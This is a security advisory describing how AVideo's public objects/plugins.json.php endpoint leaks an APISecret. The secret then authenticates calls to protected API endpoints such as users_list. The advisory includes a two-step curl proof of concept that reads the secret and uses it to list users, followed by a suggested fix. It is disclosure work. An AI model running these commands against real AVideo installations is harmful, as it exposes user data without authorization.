Description

AVideo Vulnerable to Exposure of Sensitive Information to an Unauthorized Actor and Missing Authorization

Summary

An unauthenticated user can read APISecret from objects/plugins.json.php and use it to call protected API endpoints (e.g. users_list) without logging in.

Details

objects/plugins.json.php is public and still exposes plugin object_data containing APISecret. That secret is accepted by plugin/API/get.json.php as authentication.

PoC

Get plugin config (contains APISecret):

curl 'http://<host>/objects/plugins.json.php'

Copy APISecret from response, then call API directly:

curl --get 'http://<host>/plugin/API/get.json.php' \
  --data-urlencode 'APIName=users_list' \
  --data-urlencode 'APISecret=<APISecret>' \
  --data-urlencode 'rowCount=3' \
  --data-urlencode 'current=1'

Impact

Unauthenticated disclosure of sensitive config (APISecret) leading to unauthorized access to protected API data.

Recommended fix

Requiring admin auth for full plugin inventory/config endpoint.

Mitigation

Aliases

References